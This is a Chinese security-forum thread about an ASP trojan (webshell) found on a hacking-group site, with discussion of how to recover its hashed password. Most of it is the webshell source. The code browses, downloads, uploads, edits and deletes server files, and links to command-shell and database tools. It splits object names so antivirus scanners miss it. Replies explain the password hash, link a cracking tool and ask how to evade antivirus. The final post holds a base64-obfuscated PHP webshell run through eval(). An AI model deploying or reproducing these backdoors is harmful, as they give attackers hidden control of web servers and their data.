28 12
发新话题
打印

[讨论]在红狼看见了一个ASP木马 谁来解密一下

[讨论]在红狼看见了一个ASP木马 谁来解密一下

议题作者:追寻
信息来源:邪恶八进制信息安全团队(www.eviloctal.com


密码是:
20225222   但是在这段代码上看上去没什么加密,但是却找不到密码明文。




[code]<SCRIPT LANGUAGE="JavaScript">
function killErrors() {
return true;
}
window.onerror = killErrors;
</SCRIPT>
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_openBrWindow(theURL,winName,features) { //v2.0
window.open(theURL,winName,features);
}

function MM_popupMsg(msg) { //v1.0
alert(msg);
}
//-->
</script>
<script>
function ChangeDir(){
  if(MaoDiv.style.display==&#39;block&#39;)
  {  
    MaoDiv.style.display = &#39;none&#39;;}
  else
  {
    MaoDiv.style.display = &#39;block&#39;;
    MaoDiv.innerHTML = "<CENTER><br> <input type=text name=DirName id=DirName VALUE=&#39;c:\\&#39;> <input type=button onclick=\&#39;javascript:if(DirName.value!=\"\"){location.href=\"?q=list.asp&attrib=true&path=\" + DirName.value;}\&#39; value=GO> <font color=#999999 style=\&#39;cursor:hand\&#39; onclick=\&#39;ChangeDir()\&#39;>CLOSE</font></CENTER>";}

  MaoDiv.style.posLeft = window.event.x - 100;
  if(MaoDiv.style.posLeft < 0){
    MaoDiv.style.posLeft = 0;
  }
  MaoDiv.style.posTop = window.event.y + document.body.scrollTop - 10;
  }
</script>
<%Server.ScriptTimeOut=50000%>
<object runat=server id=oFileSys scope=page classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
<%
if Request("q")="exit" then
Session("Password")=""
Response.write "<script>alert(&#39;已经成功退出!!!&#39;);window.close();</script>"
end if
on error resume next
dim Data_5xsoft
Class upload_5xsoft
dim objForm,objFile,Version
Public function Form(strForm)
strForm=lcase(strForm)
if not objForm.exists(strForm) then
Form=""
else
Form=objForm(strForm)
end if
end function

Public function File(strFile)
strFile=lcase(strFile)
if not objFile.exists(strFile) then
set File=new FileInfo
else
set File=objFile(strFile)
end if
end function
Private Sub Class_Initialize
dim RequestData,sStart,vbCrlf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,theFile
dim iFileSize,sFilePath,sFileType,sFormValue,sFileName
dim iFindStart,iFindEnd
dim iFormStart,iFormEnd,sFormName
Version="HTTP Uploader Version 2.0"
set objForm=server.CreateObject("Scr"&b&"ipting.Dictionary")
set objFile=server.CreateObject("Scr"&b&"ipting.Dictionary")
if Request.TotalBytes<1 then Exit Sub
set tStream = server.CreateObject("Ado"&l&"db.Stream")
set Data_5xsoft = server.CreateObject("Ado"&l&"db.Stream")
Data_5xsoft.Type = 1
Data_5xsoft.Mode =3
Data_5xsoft.Open
Data_5xsoft.Write Request.BinaryRead(Request.TotalBytes)
Data_5xsoft.Position=0
RequestData =Data_5xsoft.Read
iFormStart = 1
iFormEnd = LenB(RequestData)
vbCrlf = chrB(13) & chrB(10)
sStart = MidB(RequestData,1, InStrB(iFormStart,RequestData,vbCrlf)-1)
iStart = LenB (sStart)
iFormStart=iFormStart+iStart+1
while (iFormStart + 10) < iFormEnd
iInfoEnd = InStrB(iFormStart,RequestData,vbCrlf & vbCrlf)+3
tStream.Type = 1
tStream.Mode =3
tStream.Open
Data_5xsoft.Position = iFormStart
Data_5xsoft.CopyTo tStream,iInfoEnd-iFormStart
tStream.Position = 0
tStream.Type = 2
tStream.Charset ="gb2312"
sInfo = tStream.ReadText
tStream.Close
iFormStart = InStrB(iInfoEnd,RequestData,sStart)
iFindStart = InStr(22,sInfo,"name=""",1)+6
iFindEnd = InStr(iFindStart,sInfo,"""",1)
sFormName = lcase(Mid (sinfo,iFindStart,iFindEnd-iFindStart))
if InStr (45,sInfo,"filename=""",1) > 0 then
set theFile=new FileInfo
iFindStart = InStr(iFindEnd,sInfo,"filename=""",1)+10
iFindEnd = InStr(iFindStart,sInfo,"""",1)
sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
theFile.FileName=getFileName(sFileName)
theFile.FilePath=getFilePath(sFileName)
iFindStart = InStr(iFindEnd,sInfo,"Content-Type: ",1)+14
iFindEnd = InStr(iFindStart,sInfo,vbCr)
theFile.FileType =Mid (sinfo,iFindStart,iFindEnd-iFindStart)
theFile.FileStart =iInfoEnd
theFile.FileSize = iFormStart -iInfoEnd -3
theFile.FormName=sFormName
if not objFile.Exists(sFormName) then
objFile.add sFormName,theFile
end if
else
tStream.Type =1
tStream.Mode =3
tStream.Open
Data_5xsoft.Position = iInfoEnd
Data_5xsoft.CopyTo tStream,iFormStart-iInfoEnd-3
tStream.Position = 0
tStream.Type = 2
tStream.Charset ="gb2312"
sFormValue = tStream.ReadText
tStream.Close
if objForm.Exists(sFormName) then
objForm(sFormName)=objForm(sFormName)&", "&sFormValue  
else
objForm.Add sFormName,sFormValue
end if
end if
iFormStart=iFormStart+iStart+1
wend
RequestData=""
set tStream =nothing
End Sub
Private Sub Class_Terminate
if Request.TotalBytes>0 then
objForm.RemoveAll
objFile.RemoveAll
set objForm=nothing
set objFile=nothing
Data_5xsoft.Close
set Data_5xsoft =nothing
end if
End Sub
Private function GetFilePath(FullPath)
If FullPath <> "" Then
GetFilePath = left(FullPath,InStrRev(FullPath, "\"))
Else
GetFilePath = ""
End If
End function
Private function GetFileName(FullPath)
If FullPath <> "" Then
GetFileName = mid(FullPath,InStrRev(FullPath, "\")+1)
Else
GetFileName = ""
End If
End function
End Class
Class FileInfo
dim FormName,FileName,FilePath,FileSize,FileType,FileStart
Private Sub Class_Initialize
FileName = ""
FilePath = ""
FileSize = 0
FileStart= 0
FormName = ""
FileType = ""
End Sub
Public function SaveAs(FullPath)
dim dr,ErrorChar,i
SaveAs=true
if trim(fullpath)="" or FileStart=0 or FileName="" or right(fullpath,1)="/" then exit function
set dr=CreateObject("Ado"&l&"db.Stream")
dr.Mode=3
dr.Type=1
dr.Open
Data_5xsoft.position=FileStart
Data_5xsoft.copyto dr,FileSize
dr.SaveToFile FullPath,2
dr.Close
set dr=nothing
SaveAs=false
end function
End Class
httpt = Request.ServerVariables("server_name")
Rseb = Request.ServerVariables("script_name")
q=request("q")
if q="" then q=rseb
select case q
case rseb
if Epass(trim(request.form("password")))="qt-./31215" then
Session("Password")="LunHui"
response.redirect rseb & "?q=list.asp"
else %>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title><%=httpt%></title>
</head>
<body>
<BR><BR>
<BR><BR>
</font>
<table border="1" width="500" height="80" bgcolor="#DDDDDD" cellpadding="3" bordercolorlight="#000000" bordercolordark="#F2F2F9" cellspacing="0" align=center>
<tr>
<td width="100%" height="30%" bgcolor="#808080"><p align="center">
<font color="#FFFFFF" face="Comic Sans MS" style="font-size: 9pt"><B><%=httpt%></B></font></td>
</tr>
<tr>
<td width="100%" height="70%"><form method="POST" action="<%=rseb%>?q=<%=rseb%>">
<div align="center"><center><p><font face="Comic Sans MS">
<span style="font-size: 9pt">Password: <input type="password" name="password"
size="20" style="background-color:#DDDDDD; border-left: none; border-right: none; border-top: none; border-bottom: solid 1px">
<input type="submit" value="Login" name="B1" style="border: thin outset"></span></font></p>
</center></div>
</form>
</td>
</tr>
</table>
</font>
<%
if request.form("password")<>"" then
response.write "<BR><BR><center><font color=red>轮回大叔很生气! 后果很严重-_-!</font></center>"
end if
%>
</body>
</html>
</font>
<%end if%>
<%case "down.asp"
if Session("Password")="LunHui" then
call downloadFile(request("path"))
end if
function downloadFile(strFile)
strFilename = strFile
Response.Buffer = True
Response.Clear%>
<object runat=server id=s scope=page classid="clsid:00000566-0000-0010-8000-00AA006D2EA4"></object>
<%s.Open
s.Type = 1
if not oFileSys.FileExists(strFilename) then
Response.Write("<h1>Error:</h1>" & strFilename & " does not exist<p>")
Response.End
end if
Set f = oFileSys.GetFile(strFilename)
intFilelength = f.size
s.LoadFromFile(strFilename)
if err then
Response.Write("<h1>Error: </h1>" & err.Description & "<p>")
Response.End
end if
Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name
Response.AddHeader "Content-Length", intFilelength
Response.CharSet = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite s.Read
Response.Flush
s.Close
Set s = Nothing
response.end
End Function
case "list.asp"
urlpath=server.urlencode(path)
if Session("Password")="LunHui" then
dim cpath,lpath
if Request("path")="" then
lpath="/"
else
lpath=Request("path")&"/"
end if
if Request("attrib")="true" then
cpath=lpath
attrib="true"
else
cpath=Server.MapPath(lpath)
attrib=""
end if
Sub GetFolder()
dim theFolder,theSubFolders
if oFileSys.FolderExists(cpath)then
Set theFolder=oFileSys.GetFolder(cpath)
Set theSubFolders=theFolder.SubFolders
Response.write "-<a href=&#39;" & rseb & "?q=list.asp&path="&Request("oldpath")&"&attrib="&attrib&"&#39;><font color=&#39;#000000&#39;>上级目录:</font></a><br><script language=vbscript>"
For Each x In theSubFolders
%>so "<%=lpath%>","<%=x.Name%>","<%=request("path")%>","<%=attrib%>"
<%
Next
%></script>
<%
end if
End Sub
Sub GetFile()
dim theFiles
if oFileSys.FolderExists(cpath)then
Set theFolder=oFileSys.GetFolder(cpath)
Set theFiles=theFolder.Files
Response.write"<table border=&#39;1&#39; width=&#39;100%&#39; cellpadding=&#39;2&#39; cellspacing=&#39;0&#39; bordercolorlight=&#39;#C6CDDF&#39; bordercolordark=&#39;#FFFFFF&#39;><script language=vbscript>"
For Each x In theFiles
if Request("attrib")="true" then
showstring=x.Name
else
showstring=x.Name
end if
%>sf "<%=showstring%>","<%=x.size%>","<%=x.type%>","<%=x.Attributes%>","<%=x.DateLastModified%>","<%=lpath%>","<%=x.name%>","<%=attrib%>","<%=x.name%>"
<%
Next
end if
Response.write"</script></table>"
End Sub
%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title><%=httpt%></title>
<%sub css()%>
<style type="text/css">
BODY,TD {
  FONT-SIZE: <%if UCase(Request.ServerVariables("HTTP_ACCEPT_LANGUAGE"))="ZH-TW" then response.write "10pt" else response.write "11px" end if%>; FONT-FAMILY: sans-serif,Verdana,宋体
  background-attachment: fixed;
  background-repeat: repeat-y;
  background-position: center;
}
Input {
  font-family: "Verdana", "Arial";
  font-size: <%if UCase(Request.ServerVariables("HTTP_ACCEPT_LANGUAGE"))="ZH-TW" then response.write "10pt" else response.write "12px" end if%>;
  font-style: normal;
  line-height: normal;
  font-weight: normal;
  font-variant: normal;
  height: 18px;
  border-right: 1px solid #CCCCCC;
  border-left: 1px solid #CCCCCC;
  border-top: 1px solid #CCCCCC;
  border-bottom: 1px solid #CCCCCC;
}
A:link {
  COLOR: #000000
}
A:visited {
  COLOR: #000000
}
A:active {
  COLOR: #000000
}
A {
  COLOR: #000000; TEXT-DECORATION: none
}
A:hover {
  COLOR: #495E6E
}
table{
  border-bottom: 1px solid #CCCCCC;
  border-top: 1px solid #CCCCCC;
  border-left: 1px solid #CCCCCC;
  border-right: 1px solid #CCCCCC;
  padding:0px
}
.table2{
  border-bottom: 0px;
  border-top: 0px;
  border-left: 0px;
  border-right: 0px;
  padding:0px
}
textarea {
  font-family: "Arial";
  font-size: 12
  font-style: normal;
  line-height: normal;
  font-weight: normal;
  font-variant: normal;
  background:#e5e5e5;
  border-bottom: 1px solid #CCCCCC;
  border-top: 1px solid #CCCCCC;
  border-left: 1px solid #CCCCCC;
  border-right: 1px solid #CCCCCC;
  padding:0px
}
input { border-top-width: 1px; padding-right: 1px; padding-left: 1px;
border-left-width: 1px; border-bottom-width: 1px; border-right-width: 1px;
background-color: #FFFFFF; cursor: hand;
font-size: 9pt; font-family: Verdana, Arial, Helvetica, sans-serif, ??; color: #000000;
}
</style>
<%end sub
call css()
%>
</head>
<div id="MaoDiv" style="background: #F7FBFF;position: absolute; width:250px; height:60px; left:100; top:40; display:none; z-index:9;border-right: 1px solid #CCCCCC;border-left: 1px solid #CCCCCC;border-top: 1px solid #CCCCCC;border-bottom: 1px solid #CCCCCC;"></div>
<script language="JavaScript">
function crfile(ls)
{if (ls==""){alert("请输入文件夹名!");}
else {window.open("<%=rseb%>?q=edit.asp&attrib=<%=request("attrib")%>&creat=yes&path=<%=lpath%>"+ls);}
return false;
}
function crdir(ls)
{if (ls==""){alert("请输入文件名!");}
else {window.open("<%=rseb%>?q=edir.asp&attrib=<%=request("attrib")%>&op=creat&path=<%=lpath%>"+ls);}
return false;
}
</script>
<script language="vbscript">
sub sf(showstring,size,type1,Attributes,DateLastModified,lpath,xname,attrib,name)
document.write "<tr>"
document.write "<td width=&#39;40%&#39;><a href=&#39;"& urlpath & lpath & xName &"&#39; target=&#39;_blank&#39;>" & showstring & "</a></td>"
document.write "<td width=&#39;10%&#39; align=&#39;right&#39;>" & round(size/1024,1) & " K</td>"
document.write "<td width=&#39;20%&#39; align=&#39;center&#39;>" & year(DateLastModified) & "-" & right("0"&month(DateLastModified),2) & "-" & right("0"&day(DateLastModified),2) & " " & FormatDateTime(DateLastModified,4) & "</td>"
document.write "<td width=&#39;30%&#39; align=&#39;center&#39;><a href=&#39;javascript:;&#39; title=&#39;类型:" & type1 & chr(10) & "属性:" & Attributes & chr(10) & "时间:" & DateLastModified &"&#39;>属性</a> <a href=javascript:; onClick=MM_openBrWindow(&#39;<%=rseb%>?q=edit.asp&path=" & lpath & xName & "&attrib=" & attrib &"&#39;,&#39;AspShell&#39;,&#39;scrollbars=no,status=yes,width=600,height=440&#39;)>编辑</a> <a href="&chr(34)&"javascript: rmdir1(&#39;"& lpath & xName &"&#39;)"&chr(34)&">删除</a> <a style=&#39;cursor:hand&#39; onclick=copyfile(&#39;" & lpath & Name & "&#39;)>复制</a> <a href=&#39;<%=rseb%>?q=down.asp&path=<%=cpath%>\"&xName&"&attrib=" & attrib &"&#39;>下载</a></td></tr>"
end sub
sub so(lpath,xName,path,attrib)
if len(xName)>26 then
DispName=left(xName,25)&".."
else
DispName=xName
end if
document.write " <a href=&#39;<%=rseb%>?q=list.asp&path="& lpath & xName & "&oldpath=" & path & "&attrib=" & attrib &"&#39;>" & DispName &"</a>  <a href="&chr(34)&"javascript: rmdir(&#39;"& lpath & xName &"&#39;)"&chr(34)&">  →删除</a> <br>"
end sub
sub rmdir1(ls)
if confirm("确定删除文件:"&ls&"?")  then
window.open("<%=rseb%>?q=edit.asp&path=" & ls & "&op=del&attrib=<%=request("attrib")%>")
end if
end sub
sub rmdir(ls)
if confirm("确定删除文件夹:"&ls&"?")  then
window.open("<%=rseb%>?q=edir.asp&path="&ls&"&op=del&attrib=<%=request("attrib")%>")
end if
end sub
sub copyfile(sfile)
dfile=InputBox("原地址:"&sfile&vbcrlf&"目标地址:"&vbcrlf&"[Input path of current mode]")
dfile=trim(dfile)
attrib="<%=request("attrib")%>"
if dfile<>"" then
if InStr(dfile,":") or InStr(dfile,"/")=1 then
lp=""
if InStr(dfile,":") and attrib<>"true" then
alert "No Absolute Path in relative mode!"&vbcrlf&"Error Path: ["&dfile&"]"
exit sub
end if
else
lp="<%=lpath%>"
end if
window.open("<%=rseb%>?q=edit.asp&path="+sfile+"&op=copy&attrib="+attrib+"&dpath="+lp+dfile)
else
alert "请输入文件名!"
end If
end sub
</script>
<body>
</font>
<table border=0 Align=center width=758 cellspacing="0" cellpadding="3">
<tr>
<td colspan=2 height=25>
<font style="font-size:12px" face=Arial> The AspShell v1.0 Write By  <a href="http://www.wolfexp.net/" target="_blank" title="红狼安全小组">C.Rufus Security Team</a></font></td>
</tr>
<tr><td colspan=2 height=5 bgcolor=#808080></td></tr>
<tr>
<td width="100%" bgcolor="#F6F6F6" colspan="2" height="22">
<font style="font-size:12px" face=Arial> 盘符:<%
For Each thing in oFileSys.Drives
Response.write " <a href=&#39;" & rseb & "?q=list.asp&path="&thing.DriveLetter&":&attrib=true&#39;><font color=#000000>"&thing.DriveLetter&":</a></font> "
NEXT
set oScriptNet=Server.CreateObject("WSC"&e&"RIPT.NETWORK")
%> 网络地址: <%=httpt%>   <a href="#" onClick="MM_openBrWindow(&#39;<%=rseb%>?q=jc.asp&#39;,&#39;AspShell&#39;,&#39;scrollbars=yes,width=800,height=600&#39;);MM_popupMsg(&#39;读取系统进程时有点慢\r\r  请不要以为死机了&#39;)">进程查看</a>   <a href="<%=rseb%>?q=exit">退出</a> </font></td>
</tr>
<tr>
<td width="100%" bgcolor="#F6F6F6" colspan="2" height="22">
<font style="font-size:12px" face=Arial> 切换到:<%
if Request("attrib")="true" then
response.write " <a href=&#39;" & rseb & "?q=list.asp&#39;>网站目录</a> "
else
response.write " <a href=&#39;" & rseb & "?attrib=true&q=list.asp&#39;>完整模式</a> "
end if
iisver =Request.ServerVariables("SERVER_SOFTWARE")
%>
当前路径 / 点击跳转:<font color=#999999 title="点击跳转到指定目录" style="cursor:hand" onclick="ChangeDir()"> <%=cpath%> </font>  服务器Ip地址 / 查询Ip绑定: <a href="http://whois.webhosting.info/<%=Request.ServerVariables("LOCAL_ADDR")%>" target="_blank"><%=Request.ServerVariables("LOCAL_ADDR")%></a>
  IIS版本: <%=iisver%> </font>
</td>
</tr>
<tr><td colspan=2 bgcolor=#CCCCCC height=2></td></tr>
<form name="form1" method="post" action="<%=rseb%>?q=upfile.asp" target="_blank" enctype="multipart/form-data">
<tr height="25">
<td bgcolor="#F6F6F6" colspan="2"><font style="font-size:12px" face=Arial>
<input class="table" type="text" name="filename" size="20">
<input class="table" type="button" value="增加文件" onclick="crfile(form1.filename.value)">
<input class="table" type="button" value="增加文件夹" onclick="crdir(form1.filename.value)">
<input type="file" name="file1" class="table" style="width:100" value="" size="30">
<input type="text" name="filepath" class="table" style="width:100" value="<%=cpath%>" size="30">
<input type="hidden" name="act" value="upload">
<input type="hidden" name="upcount" class="table" value="1">
<input class="table" type="submit" value="上传">
<input class="table" type="button" onclick="window.open(&#39;<%=rseb%>?q=cmd.asp&#39;,&#39;_blank&#39;)" value="CMD">
<input class="table" type="button" onclick="window.open(&#39;<%=rseb%>?q=p.asp&#39;,&#39;_blank&#39;)" value="免FSO">
<input class="table" type="button" onclick="window.open(&#39;<%=rseb%>?q=sql.asp&#39;,&#39;_blank&#39;)" value="数据管理">
</span>
</td>
</font>
</td>
</tr></form>
<tr>
<td colspan=2 bgcolor=#CCCCCC height=2>
</td>
</tr>
<tr>
<td width="25%" valign="top" bgcolor="#F6F6F6"><%Call GetFolder()%></td>
<td width="75%" valign="top"><%Call GetFile()%></td>
</tr>
</table>
<table border=0 Align=center width=758 cellspacing="0" cellpadding="3">
<tr><td colspan=2 height=5 bgcolor=#808080></td></tr>
<tr>
</td>
<td colspan=2 Align=Right style="font-family:sans-serif,Verdana;font-size:11px;color:black">Copyright

TOP

引用:
if Epass(trim(request.form("password")))="qt-./31215" then
加密后的密码是 qt-./31215    asp代码的最后function Epass(pass)是加密的算法。

TOP

wakaka
google Epass 你就知道是 什么加密了
还有爆破程序的哦

if Epass(trim(request.form("password")))="qt-./31215" then
Session("Password")="LunHui"

TOP

epass加密算法,用软件一下子就可以解出了
下载这个epass加密解密程序就可以得出(由于不能上传附件):
http://rooto.atedu.net

HackToolS -> 加密解密 -> Epass2.rar

解压密码:rooto
并非高手

TOP

谢谢楼上的几位,又学到东西了。。。。多谢。。。:) [s:70]

TOP

平安年间的东西不管用跟本解不了

TOP

安平的可以解。是管用滴!

TOP

admin 加密后:  ^sawzokphg

TOP

function Epass(pass)
temppass=StrReverse(left(pass&"zxcvbnm,./",10))
templen=len(pass)
mmpassword=""
for j=1 to 10
mmpassword=mmpassword+chr(asc(mid(temppass,j,1))-templen+int(j*1.1))
next
Epass=replace(mmpassword,"&#39;","B")


end function



这样的算法也就是进行一些替换而已.其实道理还是和MD5有雷同.
其他搂的问什么木马免杀.我只能这样告诉你.一段ASP代码想要成为木马就必须要有那几个操作函数.而扫描木马的软件就是以那些函数为特征来进行判断的.想免杀除非不用那些函数.使用其他的方法来做到ASP木马的功能.
http://www.vtwo.cn

TOP

这个木马如何才能免杀?

TOP

最早是在蓝屏的一个ASP木马上发现这个epass加密算法的。

后来在网上找了一个叫jhcr的软件来解密。

TOP

看看这个好像是用火狐的变形工具做的,是个免杀的PHP木马,能解出密码来吗?
<?php eval(base64_decode(&#39;ZXJyb3JfcmVwb3J0aW5nKDcpOw0Kb2Jfc3RhcnQoKTsNCiRtdGltZSA9IGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSk7DQokc3RhcnR0aW1lID0gJG10aW1lWzFdICsgJG10aW1lWzBdOw0KDQovKj09PT09PT09PT09PT09PT09PT09PSCzzNDyxeTWwyA9PT09PT09PT09PT09PT09PT09PT0qLw0KDQovLyDKx7fx0OjSqsPcwuvR6dakLDHOqtDo0qrR6dakLMbky/vK/dfWzqrWsb3TvfjI6y7PwsPm0aHP7tTyzt7Qpw0KJGFkbWluWydjaGVjayddID0gIjEiOw0KDQovLyDI57n70OjSqsPcwuvR6dakLMfr0N64xLXHwr3D3MLrDQokYWRtaW5bJ3Bhc3MnXSAgPSAiaGVpaGVpIjsNCg0KLyo9PT09PT09PT09PT09PT09PT09PT0gxeTWw73hyvggPT09PT09PT09PT09PT09PT09PT09Ki8NCg0KDQovLyDUytDts8zQ8tTaIHJlZ2lzdGVyX2dsb2JhbHMgPSBvZmYgtcS7t76zz8K5pNf3DQokb25vZmYgPSAoZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykpID8gaW5pX2dldCgncmVnaXN0ZXJfZ2xvYmFscycpIDogZ2V0X2NmZ192YXIoJ3JlZ2lzdGVyX2dsb2JhbHMnKTsNCg0KaWYgKCRvbm9mZiAhPSAxKSB7DQoJQGV4dHJhY3QoJF9QT1NULCBFWFRSX1NLSVApOw0KCUBleHRyYWN0KCRfR0VULCBFWFRSX1NLSVApOw0KfQ0KDQokc2VsZiA9ICRfU0VSVkVSWydQSFBfU0VMRiddOw0KJGRpc19mdW5jID0gZ2V0X2NmZ192YXIoImRpc2FibGVfZnVuY3Rpb25zIik7DQoNCg0KLyo9PT09PT09PT09PT09PT09PT09PT0gye233dHp1qQgPT09PT09PT09PT09PT09PT09PT09Ki8NCmlmKCRhZG1pblsnY2hlY2snXSA9PSAiMSIpIHsNCglpZiAoJF9HRVRbJ2FjdGlvbiddID09ICJsb2dvdXQiKSB7DQoJCXNldGNvb2tpZSAoImFkbWlucGFzcyIsICIiKTsNCgkJZWNobyAiPG1ldGEgaHR0cC1lcXVpdj1cInJlZnJlc2hcIiBjb250ZW50PVwiMztVUkw9Ii4kc2VsZi4iXCI+IjsNCgkJZWNobyAiPHNwYW4gc3R5bGU9XCJmb250LXNpemU6IDEycHg7IGZvbnQtZmFtaWx5OiBWZXJkYW5hXCI+16LP+rPJuaYuLi4uLi48cD48YSBocmVmPVwiIi4kc2VsZi4iXCI+yP3D67rz19S2r83Ls/a78rWlu/fV4sDvzcuz9rPM0PK958PmICZndDsmZ3Q7Jmd0OzwvYT48L3NwYW4+IjsNCgkJZXhpdDsNCgl9DQoNCglpZiAoJF9QT1NUWydkbyddID09ICdsb2dpbicpIHsNCgkJJHRoZXBhc3M9dHJpbSgkX1BPU1RbJ2FkbWlucGFzcyddKTsNCgkJaWYgKCRhZG1pblsncGFzcyddID09ICR0aGVwYXNzKSB7DQoJCQlzZXRjb29raWUgKCJhZG1pbnBhc3MiLCR0aGVwYXNzLHRpbWUoKSsoMSoyNCozNjAwKSk7DQoJCQllY2hvICI8bWV0YSBodHRwLWVxdWl2PVwicmVmcmVzaFwiIGNvbnRlbnQ9XCIzO1VSTD0iLiRzZWxmLiJcIj4iOw0KCQkJZWNobyAiPHNwYW4gc3R5bGU9XCJmb250LXNpemU6IDEycHg7IGZvbnQtZmFtaWx5OiBWZXJkYW5hXCI+tcfCvbPJuaYuLi4uLi48cD48YSBocmVmPVwiIi4kc2VsZi4iXCI+yP3D67rz19S2r8z416q78rWlu/fV4sDvvfjI67PM0PK958PmICZndDsmZ3Q7Jmd0OzwvYT48L3NwYW4+IjsNCgkJCWV4aXQ7DQoJCX0NCgl9DQoJaWYgKGlzc2V0KCRfQ09PS0lFWydhZG1pbnBhc3MnXSkpIHsNCgkJaWYgKCRfQ09PS0lFWydhZG1pbnBhc3MnXSAhPSAkYWRtaW5bJ3Bhc3MnXSkgew0KCQkJbG9naW5wYWdlKCk7DQoJCX0NCgl9IGVsc2Ugew0KCQlsb2dpbnBhZ2UoKTsNCgl9DQp9DQovKj09PT09PT09PT09PT09PT09PT09PSDR6dakveHK+CA9PT09PT09PT09PT09PT09PT09PT0qLw0KDQovLyDF0LbPIG1hZ2ljX3F1b3Rlc19ncGMg17TMrA0KaWYgKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHsNCiAgICAkX0dFVCA9IHN0cmlwc2xhc2hlc19hcnJheSgkX0dFVCk7DQoJJF9QT1NUID0gc3RyaXBzbGFzaGVzX2FycmF5KCRfUE9TVCk7DQp9DQoNCi8vILLpv7RQSFBJTkZPDQppZiAoJF9HRVRbJ2FjdGlvbiddID09ICJwaHBpbmZvIikgew0KCWVjaG8gJHBocGluZm89KCFlcmVnaSgicGhwaW5mbyIsJGRpc19mdW5jKSkgPyBwaHBpbmZvKCkgOiAicGhwaW5mbygpILqvyv3S0bG7vfvTwyzH67Lpv7QmbHQ7UEhQu7e+s7Hkwb8mZ3Q7IjsNCglleGl0Ow0KfQ0KDQovLyDU2s/ftPrA7Q0KaWYgKGlzc2V0KCRfUE9TVFsndXJsJ10pKSB7DQoJJHByb3h5Y29udGVudHMgPSBAZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWyd1cmwnXSk7DQoJZWNobyAoJHByb3h5Y29udGVudHMpID8gJHByb3h5Y29udGVudHMgOiAiPGJvZHkgYmdjb2xvcj1cIiNGNUY1RjVcIiBzdHlsZT1cImZvbnQtc2l6ZTogMTJweDtcIj48Y2VudGVyPjxicj48cD48Yj678cihIFVSTCDE2sjdyqew3DwvYj48L3A+PC9jZW50ZXI+PC9ib2R5PiI7DQoJZXhpdDsNCn0NCg0KLy8gz8LU2M7EvP4NCmlmICghZW1wdHkoJGRvd25maWxlKSkgew0KCWlmICghQGZpbGVfZXhpc3RzKCRkb3duZmlsZSkpIHsNCgkJZWNobyAiPHNjcmlwdD5hbGVydCgnxOPSqs/CtcTOxLz+sru05tTaIScpPC9zY3JpcHQ+IjsNCgl9IGVsc2Ugew0KCQkkZmlsZW5hbWUgPSBiYXNlbmFtZSgkZG93bmZpbGUpOw0KCQkkZmlsZW5hbWVfaW5mbyA9IGV4cGxvZGUoJy4nLCAkZmlsZW5hbWUpOw0KCQkkZmlsZWV4dCA9ICRmaWxlbmFtZV9pbmZvW2NvdW50KCRmaWxlbmFtZV9pbmZvKS0xXTsNCgkJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtJy4kZmlsZWV4dCk7DQoJCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy4kZmlsZW5hbWUpOw0KCQloZWFkZXIoJ0NvbnRlbnQtRGVzY3JpcHRpb246IFBIUCBHZW5lcmF0ZWQgRGF0YScpOw0KCQloZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnLmZpbGVzaXplKCRkb3duZmlsZSkpOw0KCQlAcmVhZGZpbGUoJGRvd25maWxlKTsNCgkJZXhpdDsNCgl9DQp9DQoNCi8vINaxvdPPwtTYsbi33cr9vt2/4g0KaWYgKCRfUE9TVFsnYmFja3VwdHlwZSddID09ICdkb3dubG9hZCcpIHsNCglAbXlzcWxfY29ubmVjdCgkc2VydmVybmFtZSwkZGJ1c2VybmFtZSwkZGJwYXNzd29yZCkgb3IgZGllKCLK/b7dv+LBrL3Tyqew3CIpOw0KCUBteXNxbF9zZWxlY3RfZGIoJGRibmFtZSkgb3IgZGllKCLRodTxyv2+3b/iyqew3CIpOwkNCgkkdGFibGUgPSBhcnJheV9mbGlwKCRfUE9TVFsndGFibGUnXSk7DQoJJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIHRhYmxlcyIpOw0KCWVjaG8gKCRyZXN1bHQpID8gTlVMTCA6ICKz9rTtOiAiLm15c3FsX2Vycm9yKCk7DQoNCgkkZmlsZW5hbWUgPSBiYXNlbmFtZSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10uIl9NeVNRTC5zcWwiKTsNCgloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vdW5rbm93bicpOw0KCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy4kZmlsZW5hbWUpOw0KCSRteXNxbGRhdGEgPSAnJzsNCgl3aGlsZSAoJGN1cnJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7DQoJCWlmIChpc3NldCgkdGFibGVbJGN1cnJvd1swXV0pKSB7DQoJCQkkbXlzcWxkYXRhLj0gc3FsZHVtcHRhYmxlKCRjdXJyb3dbMF0pOw0KCQkJJG15c3FsZGF0YS49ICRteXNxbGRhdGEuIlxyXG4iOw0KCQl9DQoJfQ0KCW15c3FsX2Nsb3NlKCk7DQoJZXhpdDsNCn0NCg0KLy8gs8zQ8sS/wrwNCiRwYXRobmFtZT1zdHJfcmVwbGFjZSgnXFwnLCcvJyxkaXJuYW1lKF9fRklMRV9fKSk7IA0KDQovLyC78cihtbHHsMK3vrYNCmlmICghaXNzZXQoJGRpcikgb3IgZW1wdHkoJGRpcikpIHsNCgkkZGlyID0gIi4iOw0KCSRub3dwYXRoID0gZ2V0UGF0aCgkcGF0aG5hbWUsICRkaXIpOw0KfSBlbHNlIHsNCgkkZGlyPSRfR0VUWydkaXInXTsNCgkkbm93cGF0aCA9IGdldFBhdGgoJHBhdGhuYW1lLCA